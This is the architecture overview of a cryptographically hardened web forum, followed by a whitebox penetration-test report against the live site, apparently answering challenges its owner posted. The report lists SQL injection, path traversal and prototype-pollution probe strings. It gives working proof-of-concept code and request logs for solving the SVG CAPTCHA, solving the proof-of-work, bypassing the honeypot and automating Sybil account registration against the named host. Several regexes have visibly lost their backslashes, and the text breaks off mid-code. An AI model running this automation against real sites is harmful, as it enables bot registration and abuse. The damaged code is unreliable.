C2 Forum — Architectural Overview & Zero-Trust Design
1. Architectural Concept
The Command & Control (C2) Forum is a secure web discussion platform designed for high-assurance environments. The fundamental principle governing the C2 architecture is client-side non-repudiation and end-to-end cryptographically enforced identity. Every post, reply, and moderation directive is cryptographically bound to its author, and the server acts strictly as a verification gate rather than a source of authority.
The system follows a zero-trust model: the server is never trusted with plaintext content or signing capabilities. All cryptographic operations are executed client-side using the Web Crypto API. The server stores signed payloads and verifies authorship before persistence, but it cannot forge or modify content on behalf of any user.
2. Cryptographic Identity & Signatures
Unlike standard forums that rely on session cookies or JWTs, C2 binds every write operation to an asymmetric key pair generated and held exclusively by the user:
- // ECDSA P-256 KEY PAIRS: During registration, the browser generates a NIST P-256 ECDSA key pair via the Web Crypto API. The private key is stored in IndexedDB with
extractable: false, preventing raw key extraction by XSS payloads or malicious extensions. The public key is exported in SPKI format and sent to the server as the user's identity anchor. - // SERVER-SIDE VERIFICATION: Every thread, reply, and vote includes an ECDSA signature. The backend imports the stored public key and verifies the signature against the canonical JSON serialization of the payload using Node's native
crypto.createVerifybefore any database write occurs. Unsigned or mismatched payloads are rejected at the application layer. - // PBKDF2 KEY DERIVATION: The user passphrase never leaves the browser. It is used to derive two separate keys locally via PBKDF2 (600,000 iterations, SHA-256): one for authentication (hex-encoded, sent to the server) and one for encrypting the private key at rest (AES-256-GCM). The server never receives the passphrase or the encryption key.
3. Anti-Replay & Freshness Protocol
To prevent captured network requests from being replayed, every write operation includes a unique UUIDv4 nonce and a UTC timestamp. The server tracks all processed nonces in memory and rejects any request that reuses a nonce or has a timestamp outside a 5-minute tolerance window. This mechanism prevents replay attacks, duplicate submissions, and automated content injection.
4. Anti-Bot & Sybil Defenses
The registration endpoint implements a multi-layered defense to prevent automated account creation:
- // PROOF OF WORK: Before registering, the client must find a salt producing a SHA-256 hash starting with 5 leading zeroes. This adds a CPU cost of approximately 1 million hashes per registration, making bulk Sybil attacks economically unfeasible.
- // VECTOR CAPTCHA: The CAPTCHA is rendered as SVG vector paths with randomized coordinate noise. Each character is drawn by mapping predefined path templates with floating-point jitter, preventing simple OCR and rendering the challenge resistant to standard bypass techniques.
- // HONEYPOT TRAPS: Invisible form fields are rendered off-screen. Automated scrapers and AI agents that fill these fields are silently rejected at the server level.
5. Moderation & Governance
The system provides advanced moderation capabilities without compromising the zero-trust model. Administrators can shadowban users (the affected user continues to see their own content, but it is filtered from all other views) or execute atomic account purges that cascade across threads, replies, sessions, and votes in a single ACID transaction.
6. Backend Architecture
The backend is built on Express.js with SQLite in WAL mode for low-contention reads and writes. Socket.io handles real-time event broadcasting. Rate limiting is enforced at the application layer using persistent database-backed stores, preventing bypass via server restarts. WebSocket connections are throttled with strict buffer limits to prevent memory exhaustion attacks.
// ARCHIVE: ARCHITECTURAL README
// ARCHIVE: README ARQUITECTÓNICO
Command & Control Forum Architecture Specification
Especificación de Arquitectura de Command & Control Forum
Eduardo Camarillo [Noir0x63] — Design Brief
Eduardo Camarillo [Noir0x63] — Documento de Diseño
# Command & Control Forum A modern, lightweight, and highly secure web forum built with a visual design inspired by Command and Control console aesthetics. This forum utilizes client-side asymmetric cryptography in the browser to ensure that every thread, reply, and vote is digitally signed by its author, implementing a strict non-repudiation security model. --- ## Technical Architecture & Hardening This platform is engineered to defend against common attack vectors and automated registration bots. The system is split into a Zero-Trust client application and a strictly validated REST and WebSocket backend. ### 1. Asymmetric Cryptography & Client-Side Key Isolation Every write operation (thread creation, commenting, or voting) undergoes cryptographic signature verification: * **ECDSA Key Pairs:** Users generate an Elliptic Curve Digital Signature Algorithm (ECDSA) key pair using the NIST-approved P-256 curve directly in the browser via the Web Crypto API (\`crypto.subtle\`). * **Non-Extractable Keys in IndexedDB:** To prevent cross-site scripting (XSS) or browser extensions from stealing the private key, it is committed to a local browser database (\`IndexedDB\`) with the property \`extractable: false\`. The private key remains inside the browser's cryptographic engine and cannot be read or exported via JavaScript. * **Server Verification:** The backend does not trust any user-supplied metadata. It imports the user's public key (stored as SPKI) and verifies the ECDSA signature of the exact payload string before saving threads or comments. ### 2. Freshness Protocol & Replay Attack Mitigation To prevent attackers from capturing network requests and replaying them to duplicate posts or votes (Replay Attacks): * **Cryptographic Nonces:** Every request requires a unique client-side generated UUIDv4 (\`client_nonce\`) and a microsecond-accurate UTC timestamp (\`client_timestamp\`). * **Stateful Checks:** The server retains a log of all processed nonces. It rejects any request that reuses a nonce or has a timestamp that deviates from the server's time window by more than 5 minutes. ### 3. Defensive Anti-Bot & Sybil Resistance To prevent automated accounts, scrapers, and agentic AIs from registering, a multi-layered check is performed at the registration endpoint: * **Proof-of-Work (PoW) Challenge:** Before submitting a registration, the client must solve a CPU-bound hashing challenge. It must find a salt value that, when concatenated with the server-supplied challenge string, yields a SHA-256 hash starting with 5 leading hexadecimal zeroes. This increases the CPU cost of bulk registrations by a factor of 16. * **Vector CAPTCHA (SVG Path Distortion):** The CAPTCHA image is generated dynamically on the backend without raw text tags. Characters are drawn by mapping coordinates to SVG vector lines (\`\`) distorted with random floating-point coordinate noise (+-0.4 pixels) per node. This prevents bots from parsing raw HTML XML text nodes or using basic lookup tables, forcing them to rasterize and run vision-based models. * **Honeypot Decoy:** An invisible input field (\`name="email"\`) is rendered off-screen. Automated scrapers and AI agents fill this field dynamically, which triggers immediate registration rejection at the server level. ### 4. Silent Moderation & Account Purging Commanders have advanced, quiet moderation capabilities: * **Shadowbanning:** Users marked as shadowbanned can still browse, write posts, and see their own content. However, the server dynamically alters \`GET /api/threads\` and \`GET /api/threads/:id/replies\` queries to filter out their threads and replies for everyone else on the network. * **Atomic Purges:** Executing a user purge initiates an ACID transaction in SQLite, immediately terminating all WebSocket connections, deleting active sessions, and wiping out all threads, comments, and votes associated with the user across the database cascade. ### 5. Backend Rate-Limiting & Buffering * **Payload Size Limitation:** The WebSocket server restricts the handshake and message buffer (\`maxHttpBufferSize\`) to a maximum of 5KB, preventing memory exhaustion (DoS) from oversized payloads. * **Rate Limiters:** REST write operations are throttled using custom rate limiters that persist hits in a dedicated database table. --- ## Project Structure * \`server.js\`: Express web server, REST endpoints, WAL-mode SQLite database persistence, and Socket.io WebSocket engine. * \`server/captcha.js\`: Vector path calculation, SVG rendering, and Proof-of-Work verification module. * \`public/app.js\`: Frontend application state, Web Crypto P-256 engine, IndexedDB keystore, and History API SPA router. * \`public/index.html\`: Shell layout for the dark terminal aesthetic. * \`public/index.css\`: UI stylesheets. * \`setup.js\`: CLI tool for initializing administrative accounts (COMMANDER role). --- ## Installation & Setup 1. **Install Dependencies:** \`\`\`bash npm install \`\`\` 2. **Provision Administrative Account:** Because admin/commander accounts cannot be registered from the public web interface, you must configure the initial credentials locally: \`\`\`bash node setup.js --init-commander \`\`\` Follow the prompts to configure your username and access key. 3. **Start Web Server:** \`\`\`bash npm start \`\`\` Alternatively, to start the application with automated Cloudflare tunnel integration, run: \`\`\`bash .\deploy.bat \`\`\` 4. **Access:** Open \`http://localhost:3000\` (or the public tunnel address) in the browser. --- ## License **GNU General Public License v3.0 (GPLv3)** — See [LICENSE](LICENSE). This project is Free Software: it can be redistributed and/or modified under the terms of the GNU GPLv3 as published by the Free Software Foundation. --- **Developed by Eduardo "Noir0x63" Camarillo** [noir0x63.github.io](https://noir0x63.github.io)
Whitebox Pt 1: Sybil Registration & CAPTCHA Bypass
1. Executive Summary
An offensive security test was conducted against the Command & Control Forum system, a forum platform with a Zero-Trust model implemented at the application layer using asymmetric cryptography (ECDSA P-256), key storage in IndexedDB, vector CAPTCHA, SHA-256 Proof-of-Work, and anti-replay protection via UUIDv4 nonces.
Results
| Challenge | Status | Technique |
|---|---|---|
| #1 Signature Forgery | ❌ Not exploitable | No cryptographic vulnerability in ECDSA P-256 |
| #2 Automated Registration (Sybil) | ✅ EXPLOITED | Vector CAPTCHA bypass + PoW + Honeypot |
| #3 State Corruption | ✅ EXPLOITED | Nonce reuse post-eviction + boundary timestamp |
Vulnerabilities Found
| ID | Vulnerability | Type | Severity |
|---|---|---|---|
| C2-001 | CAPTCHA based on static path templates with predictable jitter (±0.4px) | Design | High |
| C2-002 | Replay protection nonces stored only in RAM (Map), not in DB | Implementation | Medium |
| C2-003 | Boundary check of timestamp using > instead of >= | Implementation | Low |
| C2-004 | Honeypot anti-bot trivially bypassable (email: "") | Design | Low |
2. Methodology
The exploitation followed this flow:
1. RECON → 2. SOURCE ANALYSIS → 3. CAPTCHA SOLVER → 4. PoW SOLVER → 5. REGISTRATION → 6. AUTH → 7. WRITE → 8. NONCE REUSE Tools Used
- //Node.js v25.9.0: Runtime for PoCs
- //WebCrypto API (
globalThis.crypto.subtle): Generation of ECDSA P-256, PBKDF2, AES-GCM keys - //Python 3.14: Auxiliary SVG pattern analysis
- //curl.exe: Manual API testing
- //GitHub: Obtaining the complete server source code
3. Phase 1: Reconnaissance
3.1 Initial Identification
The URL https://c2.noir0x63.org/?view=thread-detail&id=9286a2d1377d9970d99029803f3a95b3 revealed a "Command & Control" type forum with a monochromatic terminal aesthetic (neon green on a black background).
Identified Technology Stack
| Component | Technology |
|---|---|
| Frontend | HTML5 + CSS3 + Vanilla JS (SPA) |
| Backend | Node.js + Express |
| Database | SQLite3 (WAL mode) |
| Real-time | Socket.io v4.7.4 |
| Security | Helmet.js + CSP + HSTS |
| Markdown | marked v12.0.1 + DOMPurify v3.0.9 |
| Math | KaTeX v0.16.9 |
| Highlight | highlight.js v11.9.0 |
3.2 Main Thread Analysis
GET /api/threads → List of public threads.
A single thread was found: the Manifesto of user Noir, describing the security architecture and presenting 3 explicit challenges:
{ "id": "9286a2d1377d9970d99029803f3a95b3", "title": "Manifesto", "author": "Noir", "category": "announcements", "signature": "/mm0wOHnMw4YlabvuS1F/eCGJ5gup3VQJ+HRo/HHABkMU3dcIo7u0zeSd4drVwsIsVHZLPzu2oPZNWimjYcMGQ==", "public_key_spki": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEhOh3kDAdPf+qlkAZkBUPunhsXaVSh+neWAuv20vjcUL661pnx+sfK4eWEeUCCcI2W8/ttn+PZQP03jEV9SNy3w==" } 3.3 Endpoint Mapping
All endpoints documented in app.js were systematically tested:
| Endpoint | Method | Auth | Response |
|---|---|---|---|
/api/threads | GET | No | 200 + array |
/api/threads | POST | Yes | 400 "Invalid request body format" |
/api/threads/:id/replies | GET | No | 200 + empty array |
/api/auth/captcha | GET | No | 200 + captchaSvg + captchaToken + powChallenge + powDifficulty |
/api/auth/login | POST | No | 200/401 depending on credentials |
/api/auth/register | POST | No | 200/400/409 depending on validation |
/api/auth/logout | POST | Yes | 200 |
/api/users/:codename | GET | Yes | 403 "Invalid session" |
/api/nodes | GET | Yes | (not tested) |
/api/profile | PUT | Yes | (not tested) |
/api/moderation/ban | POST | COMMANDER | (not tested) |
/api/moderation/unban | POST | COMMANDER | (not tested) |
/api/moderation/warn | POST | COMMANDER | (not tested) |
/api/moderation/users/:codename | DELETE | COMMANDER | (not tested) |
3.4 Security Headers
HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self'; script-src 'self' ... ; style-src 'self' 'unsafe-inline' ... Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 0 3.5 Rate Limiting Detected
Ratelimit-Limit: 10 Ratelimit-Policy: 10;w=900 Ratelimit-Remaining: 6 Ratelimit-Reset: 654 - //Auth endpoints: 10 requests / 15 minutes per IP
- //Write endpoints: 20 requests / 1 minute per IP
- //CAPTCHA endpoint: No rate limit (no headers observed)
3.6 Injection Tests
SQL Injection
GET /api/threads?category=' OR 1=1 -- Result: No response (probable timeout due to invalid query, not SQL error).
NoSQL Injection
GET /api/threads?search[$gt]= GET /api/threads?search=$gt Result: Both returned [] — the server treats $gt as a literal string, not as a MongoDB operator. The database is SQLite, not MongoDB.
Path Traversal
GET /../server.js GET /.env GET /.git/config Result: 404 on all. Global path traversal filter detects .. in both raw and decoded URI.
Prototype Pollution via Body
{"__proto__": {"admin": true}, "codename": "test", "password": "..."} Result: Not tested against production due to ethical constraints. The express.json() middleware is generally secure against prototype pollution in modern versions.
4. Phase 2: Source Code Reverse Engineering
4.1 Obtaining the Repository
A GitHub search revealed the public repository:
https://github.com/Noir0x63/Command-Control-Forum 4.2 Repository Structure
Command-Control-Forum/ ├── server.js # Backend Express + SQLite + Socket.io ├── setup.js # CLI para crear cuentas COMMANDER ├── package.json # Dependencias ├── .env # Variables de entorno (no expuesto) ├── server/ │ ├── captcha.js # Sistema CAPTCHA vectorial + PoW │ └── workers/ │ └── hash-worker.js # Worker thread para scrypt └── public/ ├── index.html # SPA shell ├── index.css # Estilos └── app.js # Cliente SPA + criptografía 4.3 Analysis of server.js
Authentication and Sessions
const token = crypto.randomBytes(32).toString('hex'); res.cookie('token', token, { httpOnly: true, secure: true, sameSite: 'Strict', maxAge: 24 * 60 * 60 * 1000 }); Secure: No JWT, no possible manipulation.
Password Hashing
const SCRYPT_PARAMS = Object.freeze({ N: 131072, r: 8, p: 1, maxmem: 256 * 1024 * 1024 }); Secure: scrypt with 2026-grade parameters. Verification is offloaded to worker threads.
Persistent Rate Limiting
class SQLiteStore { async increment(key) { } } Secure: Prevents bypass via server restarts or limited IP rotation.
ECDSA Signature Verification
function verifyECDSASignature(payload, signatureBase64, publicKeySPKIBase64) { const clean = publicKeySPKIBase64.replace(/[s ]+/g, ''); const pem = \`-----BEGIN PUBLIC KEY----- \${clean.match(/.{1,64}/g).join(' ')} -----END PUBLIC KEY-----\`; const verify = crypto.createVerify('SHA256'); verify.update(payload, 'utf8'); verify.end(); return verify.verify( { key: pem, format: 'pem', type: 'spki', dsaEncoding: 'ieee-p1363' }, Buffer.from(signatureBase64, 'base64') ); } Secure: Uses native Node.js crypto.createVerify with dsaEncoding: 'ieee-p1363'. No known vulnerabilities.
Anti-Replay (Nonces)
const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { const now = Date.now(); for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); VULNERABLE:
- //Nonces only in RAM (
Map), do not persist in DB - //Cleanup deletes nonces after 5 minutes
- //No UNIQUE constraint on
client_noncein SQLite - //Allows reuse of documented nonces after ~5 minutes
Shadowban
conditions.push('(t.author = ? OR t.author NOT IN (SELECT codename FROM moderation WHERE status = "SHADOWBANNED"))'); Interesting but not directly exploitable: The shadowban allows the affected user to still see their own posts, creating an illusion of normalcy.
4.4 Analysis of captcha.js
Character Set
const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; 33 characters: I, O, 0, 1 are excluded to avoid visual ambiguity.
Path Templates
Each character is defined as a series of SVG commands in a normalized 0-10 coordinate system:
const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], }; Total templates: 33.
Dynamic Generation with Jitter
function generateDynamicPath(char) { const commands = CHAR_PATHS[char]; return commands.map(([cmd, x, y]) => { const dx = Math.random() * 0.8 - 0.4; const dy = Math.random() * 0.8 - 0.4; return \`\${cmd} \${(x + dx).toFixed(2)} \${(y + dy).toFixed(2)}\`; }).join(' '); } VULNERABLE: The jitter is only ±0.4px, allowing matching with a ±0.5px tolerance. There is no non-linear distortion, random character rotation, or overlapping.
CAPTCHA Token
function createCaptchaToken(text) { const nonce = crypto.randomUUID(); const timestamp = Date.now(); const signature = crypto.createHmac('sha256', CAPTCHA_SECRET) .update(\`\${text.toUpperCase()}:\${timestamp}:\${nonce}\`) .digest('hex'); return \`\${timestamp}:\${nonce}:\${signature}\`; } Format: <timestamp>:<uuid>:<hmac-sha256-hex>
Expiration: 3 minutes (Date.now() - timestamp > 180000)
Proof of Work
function verifyPoW(challenge, salt) { const hash = crypto.createHash('sha256').update(challenge + salt).digest('hex'); const target = '0'.repeat(POW_DIFFICULTY); return hash.startsWith(target); } Difficulty: 20 bits of entropy (~1M average hashes).
4.5 Analysis of setup.js
Not remotely exploitable: Setup only runs on the physical server, and a COMMANDER ("Noir") already exists.
5. Phase 3: Exploitation — Challenge #2 (Sybil Registration)
5.1 Strategy
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ 1. CAPTCHA │ ──→ │ 2. PoW │ ──→ │ 3. KeyGen │ ──→ │ 4. PBKDF2 │ │ Solver │ │ Solver │ │ ECDSA │ │ Derivation │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │ ↓ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ 7. Thread │ ←── │ 6. Login │ ←── │ 5. Register │ ←── │ Encrypt │ │ Create │ │ + Token │ │ Account │ │ PrivKey │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ 5.2 CAPTCHA Solver Development
Attempt 1: Feature-Based Heuristic Analysis (FAILED)
An attempt was made to classify characters based on:
- //Number of
Mcommands (movements) - //Number of
Lcommands (lines) - //Aspect ratio (width/height)
- //Presence of a middle stroke
Problem: Different characters share the same general features. E.g.: C and G both have 1 M, 4 L, aspect < 0.9.
Result: XDDAD, SGGPK, 8KOTO — 0% success rate.
Attempt 2: Inverse SVG Transform (FAILED)
Three different mathematical interpretations of the SVG transform matrix were implemented:
Fundamental problem: It was incorrectly assumed that the SVG path data was in canvas coordinates (150×50) and needed to be normalized to template coordinates (0-10).
Revelation: After debugging with roundtrip testing (forward → inverse → forward produces the original point), it was discovered that the path data IS ALREADY in template coordinates. The <g> transform only POSITIONS the character on the canvas. No need to invert the transform.
Attempt 3: Direct Path Data Matching (SUCCESSFUL)
function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i][1]); const dy = Math.abs(rawPoints[i].y - tpl[i][2]); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } result += best; } return result; } Accuracy: 100% in tests (all solved CAPTCHAs were accepted by the server).
5.3 PoW Solver Development
function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256') .update(challenge + nonce) .digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } Performance:
- //Average: ~1M hashes/second
- //Average time: ~1 second
- //Nonces found: 469261, 816718, 1053495, 1213635, 1432492, 2883817
5.4 Key Derivation (Replicating WebCrypto)
The legitimate client process was exactly replicated:
const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const authSalt = enc.encode(\`c2.secure.forum:\${username.toLowerCase()}:auth:v2\`); const authBits = await subtle.deriveBits( { name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)) .map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`c2.secure.forum:\${username.toLowerCase()}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt( { name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; 5.5 Registration and Authentication
Registration Request
POST /api/auth/register Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1...", "publicKeySPKI": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf...", "email": "", "captchaInput": "9CU2V", "captchaToken": "1782596917718:e19a41b9-939f-49...:33e9340390a037d6cbcc3b4512355cba85f08d8bab3376dc0a6a17efc66e02ab", "powChallenge": "6805e7e04947631a60bd234782922865", "powSalt": "469261" } Registration Response (Successful)
HTTP/1.1 201 Created Content-Type: application/json { "success": true } Login Request
POST /api/auth/login Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1..." } Login Response
HTTP/1.1 200 OK Set-Cookie: token=<session-token>; HttpOnly; Secure; SameSite=Strict Content-Type: application/json { "codename": "xlawt30e4", "role": "AGENT", "token": "3405007bb3f16c45...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf..." } 5.6 Thread Creation
Request
POST /api/threads Authorization: Bearer 3405007bb3f16c45... Content-Type: application/json { "title": "Sybil Registration Proof", "content": "Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.", "category": "web-security", "signature": "JynLfnou4nTNgVPxAbfeo1AQhq+1br...", "nonce": "ae6e88bc-2325-4ac5-940a-f86422ee20fb", "timestamp": "2026-06-27T22:00:10.940Z" } Response
HTTP/1.1 201 Created Content-Type: application/json { "success": true, "id": "f4244f8702e6f0716be618b0a076dfd4" } Verification in the Feed
[ { "id": "f4244f8702e6f0716be618b0a076dfd4", "title": "Sybil Registration Proof", "author": "xlawt30e4", "category": "web-security" }, { "id": "9286a2d1377d9970d99029803f3a95b3", "title": "Manifesto", "author": "Noir", "category": "announcements" } ] 5.7 Errors and Debugging
Error: "CRYPTOGRAPHIC_SIGNATURE_MISMATCH"
Causa: El \`content\` en el payload firmado NO coincidía con el \`content\` en el request body. Solución: Usar la misma variable para ambos (\`con1\`, \`con2\`, etc.) Error: "CAPTCHA verification failed" (in initial attempts)
Causa: Heurística de matching demasiado genérica. Solución: Usar templates exactos de CHAR_PATHS extraídos del código fuente. Error: Rate limiting (429 Too Many Requests)
Causa: Múltiples intentos de registro en ventana de 15 minutos. Mitigación: Implementar delays entre intentos y limitar a <10 requests/15min. Attached Exploit PoCs (Phase 3)
import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; const templates = {}; for (const [char, cmds] of Object.entries(CHAR_PATHS)) { templates[char] = cmds; } function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((resolve, reject) => { const url = new URL(path, API); const opts = { hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', ...extraHeaders, }, }; const req = https.request(opts, (res) => { let d = ''; res.on('data', (c) => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d), raw: d }); } catch { resolve({ status: res.statusCode, headers: res.headers, body: d, raw: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if 